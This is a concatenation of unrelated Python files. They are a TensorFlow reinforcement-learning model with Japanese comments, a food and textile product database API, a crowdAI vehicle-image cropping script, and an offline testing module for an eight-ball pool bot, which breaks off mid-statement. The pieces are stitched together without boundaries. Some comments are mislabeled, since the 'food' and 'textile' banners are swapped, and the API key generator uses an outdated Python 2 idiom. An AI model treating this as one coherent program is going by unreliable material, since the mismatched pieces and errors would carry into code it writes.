# -*- coding: utf-8 -*-
import logging

import numpy as np
import tensorflow as tf
import tensorflow.contrib.layers as c_layers

logger = logging.getLogger("mlagents.envs")

class LearningModel(object):
    _version_number_ = 2

    def __init__(self, m_size, normalize, use_recurrent, brain, seed):
        tf.set_random_seed(seed)
        self.brain = brain

        self.vector_in = None
        self.global_step, self.increment_step = self.create_global_steps()
        self.visual_in = []

        self.batch_size = tf.placeholder(shape=None,
                                         dtype=tf.int32,
                                         name='batch_size')
        self.sequence_length = tf.placeholder(shape=None,
                                              dtype=tf.int32,
                                              name='sequence_length')
        self.mask_input = tf.placeholder(shape=[None],
                                         dtype=tf.float32,
                                         name='masks')

        self.mask = tf.cast(self.mask_input, tf.int32)

        self.use_recurrent = use_recurrent
        if self.use_recurrent:
            # m_sizeはデフォルトで256
            self.m_size = m_size
        else:
            self.m_size = 0

        self.normalize = normalize
        self.act_size = brain.vector_action_space_size
        self.vec_obs_size = brain.vector_observation_space_size * \
                            brain.num_stacked_vector_observations
        self.vis_obs_size = brain.number_visual_observations

        tf.Variable(0,
                    name='is_continuous_control',
                    trainable=False,
                    dtype=tf.int32)
        tf.Variable(self._version_number_,
                    name='version_number',
                    trainable=False,
                    dtype=tf.int32)
        tf.Variable(self.m_size,
                    name="memory_size",
                    trainable=False,
                    dtype=tf.int32)
        tf.Variable(sum(self.act_size),
                    name="action_output_shape",
                    trainable=False,
                    dtype=tf.int32)

    @staticmethod
    def create_global_steps():
        """Creates TF ops to track and increment global training step."""
        global_step = tf.Variable(0,
                                  name="global_step",
                                  trainable=False,
                                  dtype=tf.int32)
        increment_step = tf.assign(global_step, tf.add(global_step, 1))
        return global_step, increment_step

    @staticmethod
    def swish(input_activation):
        """Swish activation function. For more info: https://arxiv.org/abs/1710.05941"""
        return tf.multiply(input_activation, tf.nn.sigmoid(input_activation))

    @staticmethod
    def create_visual_input(camera_parameters, name):
        """
        Creates image input op.

        camera_parameters:
            Parameters for visual observation from BrainInfo.
        name:
            Desired name of input op.
        :return:
            input op.
        """
        o_size_h = camera_parameters['height']
        o_size_w = camera_parameters['width']
        bw = camera_parameters['blackAndWhite']

        if bw:
            c_channels = 1
        else:
            c_channels = 3

        visual_in = tf.placeholder(shape=[None,
                                          o_size_h,
                                          o_size_w,
                                          c_channels],
                                   dtype=tf.float32,
                                   name=name)
        return visual_in

    def create_vector_input(self, name='vector_observation'):
        """
        Creates ops for vector observation input.

        name:
            Name of the placeholder op.
        vec_obs_size:
            Size of stacked vector observation.
        :return:
        """
        self.vector_in = tf.placeholder(shape=[None, self.vec_obs_size],
                                        dtype=tf.float32,
                                        name=name)
        if self.normalize:
            self.running_mean = tf.get_variable("running_mean",
                                                [self.vec_obs_size],
                                                trainable=False,
                                                dtype=tf.float32,
                                                initializer=tf.zeros_initializer())
            self.running_variance = tf.get_variable("running_variance",
                                                    [self.vec_obs_size],
                                                    trainable=False,
                                                    dtype=tf.float32,
                                                    initializer=tf.ones_initializer())
            self.update_mean, self.update_variance = self.create_normalizer_update(
                self.vector_in)

            self.normalized_state = tf.clip_by_value(
                (self.vector_in - self.running_mean) / tf.sqrt(
                self.running_variance / (tf.cast(self.global_step, tf.float32) + 1)), -5, 5,
                                                     name="normalized_state")
            return self.normalized_state
        else:
            return self.vector_in

    def create_normalizer_update(self, vector_input):
        mean_current_observation = tf.reduce_mean(vector_input, axis=0)
        new_mean = self.running_mean + (mean_current_observation - self.running_mean) / \
                   tf.cast(tf.add(self.global_step, 1), tf.float32)
        new_variance = self.running_variance + (mean_current_observation - new_mean) * \
                       (mean_current_observation - self.running_mean)
        update_mean = tf.assign(self.running_mean, new_mean)
        update_variance = tf.assign(self.running_variance, new_variance)
        return update_mean, update_variance

    @staticmethod
    def create_vector_observation_encoder(observation_input,
                                          h_size,
                                          activation,
                                          num_layers,
                                          scope,
                                          reuse):
        """
        Builds a set of hidden state encoders.

        reuse:
            Whether to re-use the weights within the same scope.
        scope:
            Graph scope for the encoder ops.
        observation_input:
            Input vector.
        h_size:
            Hidden layer size.
        activation:
            What type of activation function to use for layers.
        num_layers:
            number of hidden layers to create.
        :return:
            List of hidden layer tensors.
        """
        with tf.variable_scope(scope):
            hidden = observation_input
            for i in range(num_layers):
                hidden = tf.layers.dense(
                    hidden,
                    h_size,
                    activation=activation,
                    reuse=reuse,
                    name="hidden_{}".format(i),
                    kernel_initializer=c_layers.variance_scaling_initializer(1.0))
        return hidden

    def create_visual_observation_encoder(self,
                                          image_input,
                                          h_size,
                                          activation,
                                          num_layers,
                                          scope,
                                          reuse):
        """
        Builds a set of visual (CNN) encoders.

        reuse:
            Whether to re-use the weights within the same scope.
        scope:
            The scope of the graph within which to create the ops.
        image_input:
            The placeholder for the image input to use.
        h_size:
            Hidden layer size.
        activation:
            What type of activation function to use for layers.
        num_layers:
            number of hidden layers to create.
        :return:
            List of hidden layer tensors.
        """
        with tf.variable_scope(scope):
            conv1 = tf.layers.conv2d(image_input,
                                     16,
                                     kernel_size=[8, 8],
                                     strides=[4, 4],
                                     activation=tf.nn.elu,
                                     reuse=reuse, name="conv_1")
            conv2 = tf.layers.conv2d(conv1,
                                     32,
                                     kernel_size=[4, 4],
                                     strides=[2, 2],
                                     activation=tf.nn.elu,
                                     reuse=reuse, name="conv_2")
            hidden = c_layers.flatten(conv2)

        with tf.variable_scope(scope + '/' + 'flat_encoding'):
            hidden_flat = self.create_vector_observation_encoder(hidden,
                                                                 h_size,
                                                                 activation,
                                                                 num_layers,
                                                                 scope,
                                                                 reuse)
        return hidden_flat

    def create_vgg_visual_observation_encoder(self,
                                              image_input,
                                              h_size,
                                              activation,
                                              num_layers,
                                              scope,
                                              reuse):
        """
        Builds a set of visual (CNN) encoders.
        :param reuse: Whether to re-use the weights within the same scope.
        :param scope: The scope of the graph within which to create the ops.
        :param image_input: The placeholder for the image input to use.
        :param h_size: Hidden layer size.
        :param activation: What type of activation function to use for layers.
        :param num_layers: number of hidden layers to create.
        :return: List of hidden layer tensors.
        """
        print('***************** VGG *******************')
        with tf.variable_scope(scope):
            conv11 = tf.layers.conv2d(image_input, 32, kernel_size=[3, 3], strides=[1, 1],
                                     activation=tf.nn.elu, reuse=reuse, name="conv_11")
            #(-1, 82, 82, 32)
            conv12 = tf.layers.conv2d(conv11, 32, kernel_size=[3, 3], strides=[1, 1],
                                     activation=tf.nn.elu, reuse=reuse, name="conv_12")
            #(-1, 80, 80, 64)
            max1 = tf.layers.max_pooling2d(conv12, [2, 2], [2, 2])
            conv21 = tf.layers.conv2d(max1, 64, kernel_size=[3, 3], strides=[1, 1],
                                     activation=tf.nn.elu, reuse=reuse, name="conv_21")
            #(-1, 38, 38, 64)
            conv22 = tf.layers.conv2d(conv21, 64, kernel_size=[3, 3], strides=[1, 1],
                                     activation=tf.nn.elu, reuse=reuse, name="conv_22")
            #(-1, 36, 36, 64)
            max2 = tf.layers.max_pooling2d(conv22, [2, 2], [2, 2])
            # (-1, 18, 18, 64)

            hidden = c_layers.flatten(max2)

        with tf.variable_scope(scope + '/' + 'flat_encoding'):
            hidden_flat = self.create_vector_observation_encoder(hidden, h_size, activation,
                                                                 num_layers, scope, reuse)
        return hidden_flat

    def create_another_visual_observation_encoder(self,
                                                  image_input,
                                                  h_size,
                                                  activation,
                                                  num_layers,
                                                  scope,
                                                  reuse):
        with tf.variable_scope(scope):
            conv1 = tf.layers.conv2d(image_input, 32, kernel_size=[3, 3], strides=[2, 2],
                                     activation=tf.nn.elu, reuse=reuse, name="conv_1")
            # (-1, 41, 41, 32)
            conv2 = tf.layers.conv2d(conv1, 64, kernel_size=[3, 3], strides=[2, 2],
                                     activation=tf.nn.elu, reuse=reuse, name="conv_2")
            # (-1, 20, 20, 64)
            conv3 = tf.layers.conv2d(conv2, 64, kernel_size=[3, 3], strides=[2, 2],
                                     activation=tf.nn.elu, reuse=reuse, name="conv_3")
            # (-1, 9, 9, 64)
            hidden = c_layers.flatten(conv3)

        with tf.variable_scope(scope + '/' + 'flat_encoding'):
            hidden_flat = self.create_vector_observation_encoder(hidden, h_size, activation,
                                                                 num_layers, scope, reuse)
        return hidden_flat

    def create_another_light_visual_observation_encoder(self,
                                                        image_input,
                                                        h_size,
                                                        activation,
                                                        num_layers,
                                                        scope,
                                                        reuse):
        with tf.variable_scope(scope):
            conv1 = tf.layers.conv2d(image_input, 16, kernel_size=[4, 4], strides=[2, 2],
                                     padding="same",
                                     activation=tf.nn.elu, reuse=reuse, name="conv_1")
            # (-1, 42, 42, 16)
            conv2 = tf.layers.conv2d(conv1, 32, kernel_size=[4, 4], strides=[2, 2],
                                     padding="same",
                                     activation=tf.nn.elu, reuse=reuse, name="conv_2")
            # (-1, 21, 21, 32)
            conv3 = tf.layers.conv2d(conv2, 32, kernel_size=[4, 4], strides=[2, 2],
                                     padding="same",
                                     activation=tf.nn.elu, reuse=reuse, name="conv_3")
            # (-1, 11, 11, 32)
            hidden = c_layers.flatten(conv3)

        with tf.variable_scope(scope + '/' + 'flat_encoding'):
            hidden_flat = self.create_vector_observation_encoder(hidden, h_size, activation,
                                                                 num_layers, scope, reuse)
        return hidden_flat

    @staticmethod
    def create_discrete_action_masking_layer(all_logits, action_masks, action_size):
        """
        Creates a masking layer for the discrete actions

        all_logits:
            The concatenated unnormalized action probabilities for all branches
        action_masks:
            The mask for the logits. Must be of dimension [None x total_number_of_action]
        action_size:
            A list containing the number of possible actions for each branch

        :return:
            The action output dimension [batch_size, num_branches] and the concatenated
            normalized logits
        """
        action_idx = [0] + list(np.cumsum(action_size))
        branches_logits = [all_logits[:, action_idx[i]:action_idx[i + 1]]
                           for i in range(len(action_size))]
        branch_masks = [action_masks[:, action_idx[i]:action_idx[i + 1]]
                        for i in range(len(action_size))]
        raw_probs = [tf.multiply(tf.nn.softmax(branches_logits[k]) + 1.0e-10, branch_masks[k])
                     for k in range(len(action_size))]
        normalized_probs = [
            tf.divide(raw_probs[k], tf.reduce_sum(raw_probs[k], axis=1, keepdims=True))
            for k in range(len(action_size))]
        output = tf.concat([tf.multinomial(tf.log(normalized_probs[k]), 1)
                            for k in range(len(action_size))], axis=1)
        return output, tf.concat([tf.log(normalized_probs[k] + 1.0e-10)
                                  for k in range(len(action_size))], axis=1)

    def create_observation_streams(self, num_streams, h_size, num_layers):
        """
        Creates encoding stream for observations.

        num_streams:
            Number of streams to create.
        h_size:
            Size of hidden linear layers in stream.
        num_layers:
            Number of hidden linear layers in stream.
        :return:
            List of encoded streams.
        """
        brain = self.brain
        activation_fn = self.swish

        self.visual_in = []
        for i in range(brain.number_visual_observations):
            visual_input = self.create_visual_input(brain.camera_resolutions[i],
                                                    name="visual_observation_" + str(i))
            self.visual_in.append(visual_input)
        vector_observation_input = self.create_vector_input()

        final_hiddens = []
        for i in range(num_streams):
            visual_encoders = []
            hidden_state, hidden_visual = None, None
            if self.vis_obs_size > 0:
                for j in range(brain.number_visual_observations):
                    if j == 0:
                        # For normal observation
                        #encoded_visual = self.create_visual_observation_encoder(
                        encoded_visual = self.create_another_light_visual_observation_encoder(
                            self.visual_in[j],
                            h_size,
                            activation_fn,
                            num_layers,
                            "main_graph_{}_encoder{}"
                            .format(i, j), False)
                    else:
                        # For visited map
                        encoded_visual = self.create_another_visual_observation_encoder(
                            self.visual_in[j],
                            h_size,
                            activation_fn,
                            num_layers,
                            "main_graph_{}_encoder{}"
                            .format(i, j), False)
                    visual_encoders.append(encoded_visual)
                hidden_visual = tf.concat(visual_encoders, axis=1)
            if brain.vector_observation_space_size > 0:
                hidden_state = self.create_vector_observation_encoder(
                    vector_observation_input,
                    h_size, activation_fn,
                    num_layers,
                    "main_graph_{}".format(i),
                    False)
            if hidden_state is not None and hidden_visual is not None:
                final_hidden = tf.concat([hidden_visual, hidden_state], axis=1)
            elif hidden_state is None and hidden_visual is not None:
                final_hidden = hidden_visual
            elif hidden_state is not None and hidden_visual is None:
                final_hidden = hidden_state
            else:
                raise Exception("No valid network configuration possible. "
                                "There are no states or observations in this brain")
            final_hiddens.append(final_hidden)
        return final_hiddens

    @staticmethod
    def create_recurrent_encoder(input_state, memory_in, sequence_length, name='lstm'):
        """
        Builds a recurrent encoder for either state or observations (LSTM).

        sequence_length:
            Length of sequence to unroll.
        input_state:
            The input tensor to the LSTM cell.
        memory_in:
            The input memory to the LSTM cell.
        name:
            The scope of the LSTM cell.
        """
        s_size = input_state.get_shape().as_list()[1] # 512+6
        m_size = memory_in.get_shape().as_list()[1]   # 256
        lstm_input_state = tf.reshape(input_state, shape=[-1, sequence_length, s_size])
        # (None,None,518)
        memory_in = tf.reshape(memory_in[:, :], [-1, m_size])
        # 256をふたつに割って、unit size=128のLSTMにしている
        _half_point = int(m_size / 2)

        with tf.variable_scope(name):
            rnn_cell = tf.contrib.rnn.BasicLSTMCell(_half_point)
            lstm_vector_in = tf.contrib.rnn.LSTMStateTuple(memory_in[:, :_half_point],
                                                           memory_in[:, _half_point:])
            recurrent_output, lstm_state_out = tf.nn.dynamic_rnn(rnn_cell, lstm_input_state,
                                                                 initial_state=lstm_vector_in)

        recurrent_output = tf.reshape(recurrent_output, shape=[-1, _half_point])
        # LSTMのcとhをconcatして、size=256のmemoryとしている.
        return recurrent_output, tf.concat([lstm_state_out.c, lstm_state_out.h], axis=1)

    def create_dc_actor_critic(self, h_size, num_layers):
        """
        Creates Discrete control actor-critic model.

        h_size:
            Size of hidden linear layers.
        num_layers:
            Number of hidden linear layers.
        """
        # h_sizeはデフォルトで256
        hidden_streams = self.create_observation_streams(1, h_size, num_layers)
        hidden = hidden_streams[0]
        # hidden=(None, 512)

        if self.use_recurrent:
            self.prev_action = tf.placeholder(shape=[None, len(self.act_size)],
                                              dtype=tf.int32,
                                              name='prev_action')
            prev_action_oh = tf.concat([
                tf.one_hot(self.prev_action[:, i], self.act_size[i]) for i in
                range(len(self.act_size))], axis=1)
            # (None, 6)
            hidden = tf.concat([hidden, prev_action_oh], axis=1)

            self.memory_in = tf.placeholder(shape=[None, self.m_size],
                                            dtype=tf.float32,
                                            name='recurrent_in')
            hidden, memory_out = self.create_recurrent_encoder(hidden,
                                                               self.memory_in,
                                                               self.sequence_length)
            self.memory_out = tf.identity(memory_out, name='recurrent_out')

        policy_branches = []
        for size in self.act_size:
            # size=3で、左右&前後で2回通る
            policy_branches.append(
                tf.layers.dense(hidden,
                                size,
                                activation=None,
                                use_bias=False,
                                kernel_initializer=c_layers.variance_scaling_initializer(
                                    factor=0.01)))

        self.all_log_probs = tf.concat([branch for branch in policy_branches],
                                       axis=1,
                                       name="action_probs")
        # (None, 6)

        self.action_masks = tf.placeholder(shape=[None, sum(self.act_size)],
                                           dtype=tf.float32,
                                           name="action_masks")
        output, normalized_logits = self.create_discrete_action_masking_layer(
            self.all_log_probs, self.action_masks, self.act_size)

        self.output = tf.identity(output)
        self.normalized_logits = tf.identity(normalized_logits, name='action')

        value = tf.layers.dense(hidden, 1, activation=None)
        self.value = tf.identity(value, name="value_estimate")

        self.action_holder = tf.placeholder(
            shape=[None, len(policy_branches)],
            dtype=tf.int32,
            name="action_holder")

        self.action_oh = tf.concat([
            tf.one_hot(self.action_holder[:, i],
                       self.act_size[i]) for i in range(len(self.act_size))], axis=1)
        self.selected_actions = tf.stop_gradient(self.action_oh)

        self.all_old_log_probs = tf.placeholder(
            shape=[None, sum(self.act_size)], dtype=tf.float32, name='old_probabilities')
        _, old_normalized_logits = self.create_discrete_action_masking_layer(
            self.all_old_log_probs, self.action_masks, self.act_size)

        action_idx = [0] + list(np.cumsum(self.act_size))

        self.entropy = tf.reduce_sum((tf.stack([
            tf.nn.softmax_cross_entropy_with_logits_v2(
                labels=tf.nn.softmax(self.all_log_probs[:, action_idx[i]:action_idx[i + 1]]),
                logits=self.all_log_probs[:, action_idx[i]:action_idx[i + 1]])
            for i in range(len(self.act_size))], axis=1)), axis=1)

        self.log_probs = tf.reduce_sum((tf.stack([
            -tf.nn.softmax_cross_entropy_with_logits_v2(
                labels=self.action_oh[:, action_idx[i]:action_idx[i + 1]],
                logits=normalized_logits[:, action_idx[i]:action_idx[i + 1]]
            )
            for i in range(len(self.act_size))], axis=1)), axis=1, keepdims=True)
        self.old_log_probs = tf.reduce_sum((tf.stack([
            -tf.nn.softmax_cross_entropy_with_logits_v2(
                labels=self.action_oh[:, action_idx[i]:action_idx[i + 1]],
                logits=old_normalized_logits[:, action_idx[i]:action_idx[i + 1]]
            )
            for i in range(len(self.act_size))], axis=1)), axis=1, keepdims=True)


import database
import os

##################################################################
#             Massive Function for adding food product           #
##################################################################
def create_textile_product(name,colour,prod_range,tags,materials):
  if tags:
    tags = list(set(tags))
    tags =  [str(val) for val in tags]  # Converting to string
    tags_resp = validate_tags(list(tags))
  if materials:
    material_resp = validate_materials(materials.keys())  # The keys of the dicionary are the material type, which needs to be validated

  insert_stmt = {'textile': [{'ID': '','Prod_range' : prod_range, 'Colour' : colour }]}  # Creating sql alchemy insert format for textile table
  product_tags = format_single_column_input_with_id('Tag',list(tags))
  if 'error' in product_tags:
    return {'error' : {'message' : 'tags must be a list of strings', 'code' : 422 }}
  elif product_tags:
    insert_stmt['product_tags'] = product_tags

  product_materials =format_material_input(dict(materials))
  if 'error' in product_materials:
    return {'error' : {'message' : 'must be dicionary of dictionaries ({"carrots": {"quantity" : 20, "unit" : "kg" }) ', 'code' : 422 }}
  elif product_materials:
    insert_stmt['product_materials'] =product_materials
  try:
    db = database.mysql()
    db.create_product(name,'textile',insert_stmt)
    return {'response' : {'message' : 'Product added', 'code' : 201 }}
  except Exception as e:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}

##################################################################
#             Massive Function for adding textile product        #
##################################################################
def create_food_product(name,customer,family,tags,materials,allergens):
  if tags:
    tags = list(set(tags))
    tags =  [str(val) for val in tags]  # Converting to string
    tags_resp = validate_tags(list(tags))
  if materials:
    material_resp = validate_materials(materials.keys())  # The keys of the dicionary are the material type, which needs to be validated
  if allergens:
    allergens = list(set(allergens))
    allergens =  [str(val) for val in allergens]  # Converting to string
    allergen_resp = validate_allergens(list(allergens))

  insert_stmt = {'food': [{'ID': '','Customer' : customer, 'Family' : family }]}  # Creating sql alchemy insert format for food table
  product_tags = format_single_column_input_with_id('Tag',list(tags))
  if 'error' in product_tags:
    return {'error' : {'message' : 'tags must be a list of strings', 'code' : 422 }}
  elif product_tags:
    insert_stmt['product_tags'] = product_tags

  product_allergens = format_single_column_input_with_id('Allergen',list(allergens))
  if 'error' in product_allergens:
    return {'error' : {'message' : 'allergens must be a list of strings  ', 'code' : 422 }}
  elif product_allergens:
    insert_stmt['product_allergens'] = product_allergens

  product_materials =format_material_input(dict(materials))
  if 'error' in product_materials:
    return {'error' : {'message' : 'must be dicionary of dictionaries ({"carrots": {"quantity" : 20, "unit" : "kg" }) ', 'code' : 422 }}
  elif product_materials:
    insert_stmt['product_materials'] =product_materials
  try:
    db = database.mysql()
    db.create_product(name,'food',insert_stmt)
    return {'response' : {'message' : 'Product added', 'code' : 201 }}
  except Exception as e:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}

##################################################################
#                         Other Functions                        #
##################################################################
def generate_api_key(product,user):  # Creating api key linked to user( not acutally used in this app, but hey )
  new_api_key = os.urandom(64).encode('base-64')
  try:
    db = database.mysql()
    db.create_api_key(new_api_key,product,user)
  except Exception as e:
    return {'error' : {'message' : str(e), 'code' : 500 }}
  return {'key' : new_api_key}

def validate_api_key(api_key):
  try:
    db = database.mysql()
    product = db.validate_api_key(api_key)
  except ValueError as e:
    return {'error' : {'message' : str(e), 'code' : 401}}
  except Exception as e:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}
  return {'product' : product}

def get_products(product_type):  # Getting products based on type passed
  tables = get_product_related_tables(product_type)
  print(tables)
  if 'error' in tables:
    return tables
  try:
    db = database.mysql()
    products = db.get_products(product_type,tables)
  except Exception as e:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}
  formatted_output = format_output(products)
  response = {
    'products': products,
    'entries': len(products),
  }
  return response

def format_output(products):  # Formatting data that is to be provided to the user
  for prod in products:
    if prod['product_materials']:
      billOfMaterials = {}
      for entry in prod['product_materials']:
        material= entry['material']
        entry.pop('material')
        entry['quantity'] = float(entry['quantity'])
        billOfMaterials[material] = entry
      prod['product_materials'] = billOfMaterials   # Changing materials format from list to dictionary
    prod['billOfMaterials'] = prod.pop('product_materials')  # Changing the name

    if prod['product_tags'] is None:
      prod['product_tags'] = []
    prod['tags'] = prod.pop('product_tags')
    if 'product_allergens' in prod:
      if prod['product_allergens'] is None:
        prod['product_allergens'] = []
      prod['allergens'] = prod.pop('product_allergens')

  return products

def get_product_related_tables(product_type):  # Getting the database tables containing data on type passed
  if product_type == "food":
    return ['product_tags','product_materials','product_allergens']
  elif product_type == "textile":
    return ['product_tags','product_materials']
  else:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}

def format_material_input(materials):  # Converting to sqlalchmeny insert format
  formatted_list = []
  try:
    for material in materials:
      insert_format = {'ID': '', 'Material' : material, 'Quantity':  round(materials[material]['quantity'],1), 'Unit':  materials[material]['unit'] }
      formatted_list.append(insert_format)
  except Exception as e:
    return ['error']
  return formatted_list

def format_single_column_input_with_id(column,values):  # Converting to sqlalchmeny insert format
  formatted_list = []
  try:
    for value in values:
      insert_format = {'ID': '', column : value}
      formatted_list.append(insert_format)
  except Exception as e:
    return ['error']
  return formatted_list

def validate_allergens(allergens):  # Checking existing tags to see if they exist, if not adding them to datase
  try:
    db = database.mysql()
    existing_allergens = db.get_allergens(allergens)
    allergens_to_insert = remove_existing(allergens,existing_allergens)
    if allergens_to_insert:
      allergens_formatted = format_single_column_insert_values('Allergen',allergens_to_insert)
      db.add_to_single_column_table('allergens',allergens_formatted)
  except Exception as e:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}
  return 0

def validate_tags(tags):  # Checking existing tags to see if they exist, if not adding them to datase
  try:
    db = database.mysql()
    existing_tags = db.get_tags(tags)
    tags_to_insert = remove_existing(tags,existing_tags)
    if tags_to_insert:
      tags_formatted = format_single_column_insert_values('Tag',tags_to_insert)
      db.add_to_single_column_table('tags',tags_formatted)
  except Exception as e:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}
  return 0

def validate_materials(materials):  # Checking existing materials to see if they exist, if not adding them to datase
  try:
    db = database.mysql()
    existing_materials = db.get_materials(materials)
    materials_to_insert = remove_existing(materials,existing_materials)
    if materials_to_insert:
      materials_formatted = format_single_column_insert_values('Material',materials_to_insert)
      db.add_to_single_column_table('materials',materials_formatted)
  except Exception as e:
    return {'error' : {'message' : 'Internal server error', 'code' : 500 }}
  return 0

def format_single_column_insert_values(column,values):  #  Create insert statment(s) compatible for sqlalchemy
  insert_list =[]
  for value in values:
    insert_list.append({column: value})
  return insert_list

def remove_existing(values,existing_values):   # Removing entries from values that is in existing values
  values_lower =  [str(val).lower() for val in values]  # converting all values to lowercase strings
  for tupl in existing_values:
    values_lower = list(filter((tupl[0]).__ne__, values_lower))  # removing all entries of strings equal to tupl
  values_lower = list(set(values_lower))   # removing duplicate values
  return values_lower


import csv
import cv2
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import numpy as np

data_folder = 'C:\\Users\\fahad\\Downloads\\object-detection-crowdai.tar\\object-detection-crowdai'
output_folder = 'D:\\carnd\\CarND-Vehicle-Detection\\data\\crowd_ai'

with open('{}/labels.csv'.format(data_folder), 'r') as f:
    reader = csv.reader(f)
    next(reader, None)

    index = 1
    for row in reader:
        output_file = '{}/{}-{}.jpeg'.format(output_folder, row[5], index)
        #print(row)
        filename = row[4]

        img = mpimg.imread('{}/{}'.format(data_folder, filename))

        x = [int(row[0]), int(row[2])]
        y = [int(row[1]), int(row[3])]

        if x[0] < x[1]:
            x1, x2 = x[0], x[1]
        else:
            x2, x1 = x[0], x[1]

        if y[0] < y[1]:
            y1, y2 = y[0], y[1]
        else:
            y2, y1 = y[0], y[1]

        if y2-y1 > 25 and x2-x1 > 25:
            img_car = img[y1:y2,x1:x2]
            img_car_64 = cv2.resize(img_car, (64,64))

            img_car_64bgr = cv2.cvtColor(img_car_64, cv2.COLOR_RGB2BGR)
            print(output_file)
            cv2.imwrite(output_file, img_car_64bgr)
        else:
            print('Discarding...small size')

        index += 1

        #cv2.rectangle(img, (x1,y1), (x2,y2), (255, 0, 0), 6)

        #f, (ax1, ax2) = plt.subplots(1,2,figsize=(10,5))
        #ax1.imshow(img)
        #ax1.set_title('Row #: {}'.format(index))
        #ax2.imshow(img_car_64)
        #ax2.set_title('{},{},{},{}'.format(x1,y1, x2, y2))


'''Offline Testing Module'''

import os
import numpy as np
import cv2

import Config.eight_ball_lookup as lookup

from Logic.bot import Bot
from Logic.Path.ball_path import BallPath
from Logic.Detection.ball_colour import BallColour
from Logic.Detection.ball_detection import BallDetection

class OfflineTesting:
    '''Responisble for offline testing'''

    ball_detection = BallDetection()

    def identify_parameters(self, identify_for_holes, identify_for_balls):
        '''Iterating through a number of images and saving the image results based on different parameter values'''

        for files in os.listdir(lookup.TRAINING_FOLDER):
            image_path = os.path.join(lookup.TRAINING_FOLDER, files)

            if (os.path.isfile(image_path) and image_path.lower().endswith(('.png', '.jpg', '.jpeg'))):
                if identify_for_holes:
                    if not os.path.exists(lookup.HOLE_TRAINING_PATH):
                        os.makedirs(lookup.HOLE_TRAINING_PATH)

                    self.find_hole_parameters(image_path)

                if identify_for_balls:
                    if not os.path.exists(lookup.BALL_TRAINING_PATH):
                        os.makedirs(lookup.BALL_TRAINING_PATH)

                    hole_positions = self.ball_detection.find_holes(image_path)
                    self.find_ball_parameters(image_path, hole_positions)

    @staticmethod
    def find_hole_parameters(image_path):
        '''Iterate through a range of values and saving each result in the aim of identifying the best parameters for hole detection'''

        for param2 in range(13, 17, 1):
            for param1 in range(10, 310, 10):
                print('Hole Parameters:', param1, param2)

                rgb_image = cv2.imread(image_path)
                gray_image = cv2.cvtColor(rgb_image, cv2.COLOR_BGR2GRAY)

                holes = cv2.HoughCircles(gray_image, cv2.HOUGH_GRADIENT, 1, 10, param1=param1, param2=param2, minRadius=20, maxRadius=21)

                if holes is not None:
                    holes = np.round(holes[0, :]).astype("int")

                    for (x_position, y_position, _) in holes:
                        cv2.circle(rgb_image, (x_position, y_position), 2, (15, 10, 25), 3)
                        cv2.circle(rgb_image, (x_position, y_position), lookup.BALL_RADIUS, (25, 10, 255), 3)

                cv2.imwrite(lookup.HOLE_TRAINING_PATH + str(param2) + '_' + str(param1) + '.jpg', rgb_image)

    def find_ball_parameters(self, image_path, hole_positions):
        '''Iterate through a range of values and saving each result in the goal of identify the best parameters for ball detection'''

        board_positions = self.ball_detection.board_boundary(hole_positions)

        for param2 in range(13, 17, 1):
            for param1 in range(10, 310, 10):
                print('Ball Parameters:', param1, param2)

                rgb_image = cv2.imread(image_path)
                board_frame = rgb_image[board_positions[1]:board_positions[3], board_positions[0]:board_positions[2]]

                board_frame_edges = cv2.Canny(board_frame, 200, 300)

                circles = cv2.HoughCircles(board_frame_edges, cv2.HOUGH_GRADIENT, 1, 9, param1=param1, param2=param2, minRadius=7, maxRadius=13)

                if circles is not None:
                    circles = np.round(circles[0, :]).astype("int")

                    for (x_position, y_position, _) in circles:
                        cv2.circle(rgb_image, (board_positions[0] + x_position, board_positions[1] + y_position), 2, (15, 10, 25), 3)
                        cv2.circle(rgb_image, (board_positions[0] + x_position, board_positions[1] + y_position), lookup.BALL_RADIUS, (25, 10, 255), 3)

                cv2.imwrite(lookup.BALL_TRAINING_PATH + str(param2) + '_' + str(param1) + '.jpg', rgb_image)

    def optimal_path_video(self, video_path, show_video, save_video):
        '''Responsible for modelling the implemented features on a given video which can be displayed or saved'''

        bot = Bot()
        frame_count = 0

        cap = cv2.VideoCapture(video_path)
        cap.set(True, frame_count) # Start clip from a particular frame

        if save_video:
            fourcc = cv2.VideoWriter_fourcc(*'XVID')
            out = cv2.VideoWriter('output.avi', fourcc, 30, (1920, 1080))

        while cap.isOpened():
            frame_count += 1
            ret, frame = cap.read()

            if frame_count % 10 != 0:
                continue

            if not bot.holes:
                bot.find_holes(frame)

            if ret:
                modified_frame = frame.copy()

                self.print_timestamp(frame_count)

                bot.find_balls(frame)

                for hole in bot.holes:
                    cv2.circle(modified_frame, (hole[0], hole[1]), 2, (255, 255, 255), 3)
                    cv2.circle(modified_frame, (hole[0], hole[1]), lookup.HOLE_RADIUS, (255, 255, 255), 3)

                for ball in bot.balls:
                    rgb_colour = None

                    if ball[2] is BallColour.Solid:
                        rgb_colour = (255, 0, 0)
                    elif ball[2] is BallColour.Strip:
                        rgb_colour = (0, 255, 0)
                    elif ball[2] is BallColour.Black:
                        rgb_colour = (255, 255, 0)
                    elif ball[2] is BallColour.White:
                        rgb_colour = (0, 255, 255)

                    if rgb_colour is not None:
                        cv2.circle(modified_frame, (ball[0], ball[1]), 2, (0, 0, 0), 3)
                        cv2.circle(modified_frame, (ball[0], ball[1]), lookup.BALL_RADIUS, rgb_colour, 3)

                optimal_path = bot.find_optimal_path()

                if len(optimal_path):
                    ball_speed = bot.find_cue_force(optimal_path)

                for i, _ in enumerate(optimal_path[:-1]):
                    cv2.line(modified_frame, optimal_path[i], optimal_path[i + 1], (0, 0, 0), 3)

                ball_path = BallPath(bot.balls, bot.holes, bot.target_ball_colour)

                target_holes = ball_path.get_target_holes()

                for a_target in target_holes:
                    cv2.circle(modified_frame, (a_target[0], a_target[1]), 2, (0, 0, 0), 3)

                shrink_border = ball_path.get_shrink_borders()

                for i, _ in enumerate(shrink_border):
                    if i % 2 != 0:
                        cv2.line(modified_frame, shrink_border[i], shrink_border[(i + 1) % len(shrink_border)], (150, 150, 255), 3)

                if save_video:
                    out.write(modified_frame)

                if show_video:
